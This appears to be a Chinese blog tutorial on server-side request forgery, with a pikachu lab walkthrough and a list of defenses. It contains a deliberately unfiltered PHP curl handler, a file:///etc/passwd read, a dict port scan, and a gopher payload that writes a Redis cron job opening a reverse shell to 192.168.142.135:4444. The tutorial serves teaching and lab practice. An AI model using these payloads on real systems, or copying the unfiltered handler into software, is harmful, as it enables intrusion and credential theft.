当前位置: 首页 > news >正文

网安-SSRF-pikachu

目录

SSRF:Server-Side Request Forgery

PHP curl

PHP 可能引起SSRF的函数

PHP其他函数

CURL其他协议

SSRF利用:

SSRF的发现 

工具

SSRF的防御

pikachu-SSRF

一:curl

1.访问连接:

2.读取本地文件

 3.dict协议扫描主机端口

二:file_get_content

4.http协议请求内网资源


SSRF:Server-Side Request Forgery

服务器端请求伪造:是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。因为是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

PHP curl

<?php
function curl($url){  $ch = curl_init();// 设置URL和相应的选项curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0); // 启用时会将头文件的信息作为数据流输出  // 抓取URL并把它传递给浏览器  curl_exec($ch);//关闭cURL资源,并且释放系统资源  curl_close($ch);
}$url = $_GET['url'];
curl($url);  
?>

获取网页资源——爬虫
webservice——获取接口数据
FTP——下载文件
php.ini extension=php_curl.dll

PHP 可能引起SSRF的函数

函数作用
curl_exec()执行 cURL 会话
file_get_contents()将整个文件读入一个字符串
 
fsockopen()打开一个网络连接或者一个Unix套接字连接

PHP其他函数

函数作用
curl_exec()执行 cURL 会话
file_get_contents()将整个文件读入一个字符串
fsockopen()打开一个网络连接或者一个Unix套接字连接

CURL其他协议

协议作用payload
file查看文件curl -v 'file:///etc/passwd'
dict探测端口http://localhost/ssrf/ssrf1.php?url=dict://127.0.0.1:3306
gopher反弹shellcurl -v
'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%
0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >&
/dev/tcp/192.168.142.135/4444
0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%
0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron
/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a
$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$
4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

dict和gopher协议原本作用:

dict协议:用于搭建在线字典服务
gopher协议:是一种信息查找系统,只支持文本,不支持图像,已被HTTP替代

SSRF利用:

1.扫描资产
2.获取敏感信息
3.攻击内网服务器(绕过防火墙)
4.访问大文件,造成溢出
5.通过Redis写入WebShell或建立反弹连接

实际案例:

1.Wordpress 3.5.1以下版本 xmlrpc.php pingback的缺陷与SSFR
2.discuz!的SSRF(利用php的header函数来绕过,其实就是302跳转实现协议转换)
3.weblogic的SSRF

SSRF的发现 

1.爬取地址
2.查看是否请求了其他资源,也可以用Google语法搜索关键字:
share、wap、url、link、src、source、target、u、3g、display、sourceURL、imageURL、domain

工具

https://github.com/cujanovic/SSRF-Testing
https://github.com/tarunkant/Gopherus
https://github.com/swisskyrepo/SSRFmap

SSRF的防御

1.禁用协议
2.限制请求端口
3.设置URL白名单
4.过滤返回信息
5.统一错误信息

pikachu-SSRF

一:curl

点击后看到url

1.访问连接:

2.读取本地文件

 3.dict协议扫描主机端口

二:file_get_content

和上题一样不过换成了file

4.http协议请求内网资源

?file=http://127.0.0.1/pikachu/wiki/image/title.png

参考文章:

pikachu靶场练习——SSRF详解_pikachu ssrf-CSDN博客

 

http://www.dtcms.com/a/271177.html

相关文章:

  • RNN及其变体的概念和案例
  • Vue响应式原理一:认识响应式逻辑
  • python 为什么推荐使用虚拟环境(如 venv)?它解决了什么问题?
  • doris2.1.8连接报错ERROR 1203 (42000): Reach limit of connections解决办法
  • 使用 Docker Compose 简化 INFINI Console 与 Easysearch 环境搭建
  • Oracle:使用ONLINE选项创建索引
  • 【内核基础精讲】I2C 子系统核心概念与结构全解析
  • 类与对象【下篇】-- 关于类的其它语法
  • 蓝凌EKP产品:属性转换器系统优化
  • c语言学习_函数递归2
  • 70、【OS】【Nuttx】【构建】配置 stm32 工程
  • STM32继电器万能控制设备
  • 【04】MFC入门到精通——MFC 自己手动新添加对话框模板 并 创建对话框类
  • SpringBoot集成文件 - 大文件的上传(异步,分片,断点续传和秒传)
  • 数据结构基础准备:包装类 泛型 泛型的上界 密封类
  • 零知开源——STM32F407VET6驱动SHT41温湿度传感器完整教程
  • 2023年全国青少年信息素养大赛Python编程小学组复赛真题+答案解析-北京赛区
  • idea 常用快捷键
  • Mysql中的日志-undo/redo/binlog详解
  • 学习open62541 --- [79] 在docker中运行open62541工程
  • pytorch chunk 切块
  • 【C++】容器适配器 + stack/queue/deque详解
  • Java基础,反射破坏封装性 - 单例模式的崩塌
  • 掌握PDF转CAD技巧,提升工程设计效率
  • 第四节 chatPDF
  • 机器视觉之工业相机讲解
  • unity animtor播放动画的指定位置
  • spring boot使用mybatis-plus实现分页功能
  • C++学习笔记三
  • MATLAB基于voronoi生成三维圆柱形